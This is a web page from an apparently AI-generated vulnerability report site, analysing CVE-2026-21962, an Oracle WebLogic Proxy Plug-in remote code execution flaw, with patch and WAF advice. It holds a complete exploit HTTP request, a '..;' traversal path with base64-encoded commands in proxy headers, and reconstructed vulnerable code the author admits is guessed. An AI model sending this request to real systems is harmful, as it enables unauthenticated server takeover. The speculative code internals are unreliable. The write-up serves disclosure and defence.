CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-21962

Gatekeeper Down: The Oracle WebLogic Proxy RCE (CVE-2026-21962)

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 15, 2026·7 min read·947 visits

Executive Summary (TL;DR)

Critical RCE (CVSS 10.0) in Oracle WebLogic Proxy Plug-in. Attackers use path traversal (`..;`) to access internal servlets and inject base64-encoded commands into the `WL-Proxy-Client-IP` header. Patches are available in the January 2026 CPU.

A catastrophic Remote Code Execution (RCE) vulnerability in Oracle Fusion Middleware's Proxy Plug-in allows unauthenticated attackers to bypass access controls and execute arbitrary commands via HTTP header injection. By combining a classic path traversal bypass with unsafe header parsing, threat actors can seize control of the gateway to the enterprise network.

The Hook: Oracle's Enterprise Zombie

Oracle WebLogic is the enterprise software equivalent of a zombie in a horror movie: just when you think you've secured it, it crashes through the window with a new critical RCE. This time, the call is coming from inside the house—specifically, the Oracle WebLogic Server Proxy Plug-in. This component is the traffic cop of the Oracle ecosystem, sitting on the edge (often inside Apache or IIS) and routing requests to backend WebLogic servers. It is the literal gatekeeper.

What makes CVE-2026-21962 so particularly nasty is that it targets the mechanism designed to protect the backend. Usually, this proxy filters out dangerous internal paths. However, thanks to some questionable parsing logic, it not only lets attackers slip past the velvet rope but also hands them a microphone to command the server. It’s a CVSS 10.0 for a reason: unauthenticated remote code execution on the edge of the network is the holy grail for attackers.

Why is this component juicy? Because it handles WL-Proxy-Client-IP and X-Forwarded-For headers. In a sane world, these headers just contain IP addresses. In Oracle's world, apparently, they are treated as trusted inputs that can trigger internal command processing. If you are running Oracle HTTP Server or the WebLogic Proxy Plug-in, you are currently holding a live grenade.

The Flaw: A Tale of Two Bugs

This vulnerability is a masterclass in "chaining bad decisions." It relies on two distinct failures working in perfect harmony: a Path Traversal Bypass and Unsafe Header Parsing.

1. The Bouncer is Blind (Path Traversal) The first flaw is in how the Proxy Plug-in normalizes URLs. The plugin is configured to block access to internal endpoints like /bea_wls_internal/. However, the parser has a blind spot for the semicolon character in directory traversal sequences. By requesting /weblogic//weblogic/..;/bea_wls_internal/ProxyServlet, the attacker confuses the path normalization routine. The server sees the ..; and thinks, "Oh, this is just a file name or a parameter," while the filesystem or the servlet mapping logic interprets it as "go up one directory." This creates a discrepancy between what the security filter sees (a safe path) and what is actually executed (the forbidden internal servlet).

2. The IP Address that executes 'whoami' (Header Injection) Once the attacker reaches the internal ProxyServlet, the second flaw kicks in. This servlet is designed to handle proxy headers to identify client IPs. It looks at headers like WL-Proxy-Client-IP, Proxy-Client-IP, and X-Forwarded-For. The fatal flaw is that the code attempts to parse these headers using a semicolon delimiter. Instead of strictly validating that the header contains only an IP address, it splits the string and seemingly processes the second part of the split. If that second part is a base64-encoded string, the server decodes it and—in a move that defies all logic—executes it or treats it as a serialized object that leads to execution. It is effectively eval() on an HTTP header.

The Code: Logic of the Fall

While the proprietary source code isn't public, we can reconstruct the logic based on the behavior and the patch analysis. The vulnerability exists in the intersection of the Apache/IIS module and the backend Servlet.

The Normalization Failure

The proxy plugin likely uses a normalization function that stops stripping traversal characters when it encounters a semicolon, assuming it marks the start of path parameters (Matrix parameters).

Vulnerable Logic Concept:

// Simplified logic representation
char* path = request->uri;
if (strstr(path, "/bea_wls_internal/")) {
    return ACCESS_DENIED; // Explicit block
}
 
// But if we send: /weblogic/..;/bea_wls_internal/
// The normalization might return: /weblogic/..;/bea_wls_internal/
// The checks fail to resolve '..;' to parent directory before string comparison.
// The request is forwarded.

The Execution Engine

Inside the ProxyServlet (Java), the handling of the client IP header is where the RCE lives. It seemingly expects a format like IP;Metadata.

Vulnerable Java Logic Concept:

String proxyHeader = request.getHeader("WL-Proxy-Client-IP");
if (proxyHeader != null && proxyHeader.contains(";")) {
    String[] parts = proxyHeader.split(";");
    String ip = parts[0];
    String metadata = parts[1]; // The malicious payload
    
    // The fatal mistake: Deserializing or Executing the metadata
    byte[] decoded = Base64.getDecoder().decode(metadata);
    executeInternalCommand(decoded); 
}

This pattern—trusting the secondary data in an IP forwarding header—is an architectural sin. The patch likely involves removing the semicolon splitting logic entirely or strictly validating that the header value matches an IP address regex (e.g., ^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$).

The Exploit: Breaking In

Exploiting this requires no authentication, no special tools, and no complex race conditions. It is a single HTTP request. We simply need to construct a URL that triggers the path traversal and include the poisoned headers.

Step 1: Crafting the Payload

We want to execute id.

  1. Take the command: cmd:id (or similar internal command syntax expected by the servlet).
  2. Base64 encode it: Y21kOmlk.
  3. Append it to a loopback IP with a semicolon: 127.0.0.1;Y21kOmlk.

Step 2: The Request

We send this payload in the WL-Proxy-Client-IP header. We also target the specific traversal path known to bypass the plugin's filters.

GET /weblogic//weblogic/..;/bea_wls_internal/ProxyServlet HTTP/1.1
Host: vulnerable-target.com
User-Agent: Mozilla/5.0 (compatible; Exploit/1.0)
WL-Proxy-Client-IP: 127.0.0.1;Y21kOmlk
Proxy-Client-IP: 127.0.0.1;Y21kOmlk
X-Forwarded-For: 127.0.0.1;Y21kOmlk
Connection: close

Step 3: Execution

When the server processes this request:

  1. The URL /weblogic//weblogic/..;/ tricks the frontend proxy into thinking it's a valid public path.
  2. The request is forwarded to the backend ProxyServlet.
  3. The Servlet reads WL-Proxy-Client-IP.
  4. It splits at ;.
  5. It decodes Y21kOmlk.
  6. It executes the command.

The response will typically contain the output of the command, or the side effects will be visible (e.g., a reverse shell connection back to the attacker).

The Impact: Why This Matters

A CVSS 10.0 is not handed out lightly. The impact here is absolute. Because this vulnerability affects the Oracle HTTP Server and Proxy Plug-ins, the compromised component often resides in the DMZ. It is the bridge between the wild internet and the sensitive internal application servers.

Immediate Consequences:

  • Full System Compromise: The RCE runs with the privileges of the web server process (often oracle or weblogic, sometimes root if misconfigured).
  • Lateral Movement: From the DMZ, the attacker can pivot to the backend databases, the internal WebLogic clusters, and other connected systems.
  • Data Exfiltration: Attackers can modify the proxy logic to sniff traffic, stealing credentials and session tokens from legitimate users passing through the proxy.

This is not just about defacing a website; it is about gaining a persistent foothold at the network perimeter. In ransomware scenarios, this is the perfect entry point—low effort, high privilege, and usually exempt from strict internal firewall rules because it is the proxy.

The Fix: Stopping the Bleeding

If you are running Oracle Fusion Middleware, stop reading and start patching. Oracle released the fix in the January 2026 Critical Patch Update (CPU).

Primary Mitigation: Apply the Patch Ensure you update the following components to the patched versions:

  • Oracle HTTP Server: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0
  • Oracle WebLogic Server Proxy Plug-in: 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0

Secondary Defense: WAF Rules If you cannot patch immediately (why?), you must implement aggressive WAF rules.

  1. Block Traversal Patterns: Reject any URI containing ..;.
  2. Sanitize Headers: Reject any request where WL-Proxy-Client-IP, Proxy-Client-IP, or X-Forwarded-For contains a semicolon (;). There is rarely a legitimate reason for a semicolon in an IP address header.

Verification After patching, verify the fix by running the provided exploit simulator (safely) against your environment. The server should return a 403 Forbidden or 404 Not Found for the traversal path, and it definitely shouldn't execute commands from the headers.

Official Patches

OracleOracle Critical Patch Update Advisory - January 2026

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N
EPSS Probability
0.06%
Top 100% most exploited

Affected Systems

Oracle HTTP Server (12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0)Oracle WebLogic Server Proxy Plug-in for Apache (12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0)Oracle WebLogic Server Proxy Plug-in for IIS (12.2.1.4.0)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Oracle HTTP Server
Oracle
12.2.1.4.0Jan 2026 CPU
Oracle HTTP Server
Oracle
14.1.1.0.0Jan 2026 CPU
Oracle HTTP Server
Oracle
14.1.2.0.0Jan 2026 CPU
AttributeDetail
CWE IDCWE-284 / CWE-287
Attack VectorNetwork (HTTP)
CVSS Score10.0 (Critical)
EPSS Score0.00062 (Rising)
ImpactRemote Code Execution (RCE)
Exploit StatusActive Exploitation / PoC Available
KEV StatusNot Listed (Monitoring)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059Command and Scripting Interpreter
Execution
T1556Modify Authentication Process
Credential Access
CWE-284
Improper Access Control

Improper Access Control and Improper Authentication leading to RCE.

Known Exploits & Detection

GitHubPython simulator for header injection detection
ManualManual construction of HTTP request with base64 payload in WL-Proxy-Client-IP

Vulnerability Timeline

CVE Published in Oracle CPU
2026-01-20
Exploitation scanning detected
2026-01-21
PoC simulators appear on GitHub
2026-01-22

References & Sources

  • [1]Oracle CPU Jan 2026
  • [2]SANS ISC Diary: WebLogic Exploitation

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•GHSA-8QX3-8GM5-9CJ2
7.8

GHSA-8QX3-8GM5-9CJ2: Terminal Escape-Sequence Injection in pickem

The npm package 'pickem' is vulnerable to a terminal escape-sequence injection (CWE-150). Unsanitized terminal outputs allow attackers to execute arbitrary shell commands via clipboard hijacking (OSC 52) or manipulate terminal displays through Control Sequence Introducers (CSI).

Alon Barad
Alon Barad
1 views•6 min read
•about 2 hours ago•CVE-2026-55537
7.1

CVE-2026-55537: Webhook Server-Side Request Forgery and TOCTOU Bypass in PraisonAI

CVE-2026-55537 is a server-side request forgery (SSRF) and time-of-check time-of-use (TOCTOU) vulnerability in the PraisonAI multi-agent framework before version 4.6.58. The flaw exists in the job-submission component's webhook URL validation logic. When DNS resolution fails during verification, the application fails open, enabling attackers to register unresolvable URLs. When a completed job triggers the webhook, the application performs a fresh DNS resolution that attackers can manipulate to target internal resources.

Alon Barad
Alon Barad
5 views•6 min read
•about 3 hours ago•CVE-2026-54625
4.8

CVE-2026-54625: Server-Side Page Cache Bypass and Cache Poisoning in django CMS

Prior to version 5.0.8, django CMS fails to respect dynamically declared Vary HTTP headers in its internal page cache. This allows remote attackers to bypass authorization, leak sensitive information across user sessions, or poison the page cache by sending requests with custom headers.

Alon Barad
Alon Barad
4 views•7 min read
•about 4 hours ago•GHSA-W67G-5RQW-F597
6.9

GHSA-W67G-5RQW-F597: Cryptographically Weak PRNG for WebSocket Frame Masking in Gorilla WebSocket

A security vulnerability in the github.com/gorilla/websocket Go library allows remote attackers to predict client-to-server frame masking keys. This occurs because the library generates 32-bit mask keys using Go's non-cryptographically secure pseudo-random number generator (math/rand). Predicting these keys enables adversaries to bypass proxy-based security protections, facilitating HTTP request smuggling and cache poisoning attacks.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 5 hours ago•CVE-2026-55477
7.2

CVE-2026-55477: Authenticated Arbitrary File Write in MHSanaei 3X-UI via Database Import

MHSanaei 3X-UI is a web control panel for managing Xray-core servers. In versions prior to 3.3.1, an authenticated administrator can abuse database import functions or raw template config fields to overwrite or append to arbitrary files on the host filesystem. This is achieved by altering the Xray log configuration variables to target system files, leveraging logging components to inject payloads.

Alon Barad
Alon Barad
5 views•6 min read
•about 6 hours ago•GHSA-VX2M-JPXR-XV7W
5.3

GHSA-vx2m-jpxr-xv7w: Incorrect Authorization Bypass via Context Hint Cache Replay in Cloudreve

Cloudreve is vulnerable to an incorrect authorization bypass. When listing files, Cloudreve returns a context_hint (represented as a UUID) to the client. If this context hint is replayed on the /file/url or /file/thumb routes, Cloudreve's database file system caches the shareNavigatorState containing the loaded share root. Within the cache lifetime (TTL of 300 seconds), if the user re-requests the same file with the cached hint, the system restores the state and completely bypasses the root security checks (which validate share expiration, remaining download limits, owner status, and passwords). This allows unauthorized users to continue generating signed file URLs and downloading files even after a share has been deleted, has expired, or has reached its download limit.

Amit Schendel
Amit Schendel
5 views•7 min read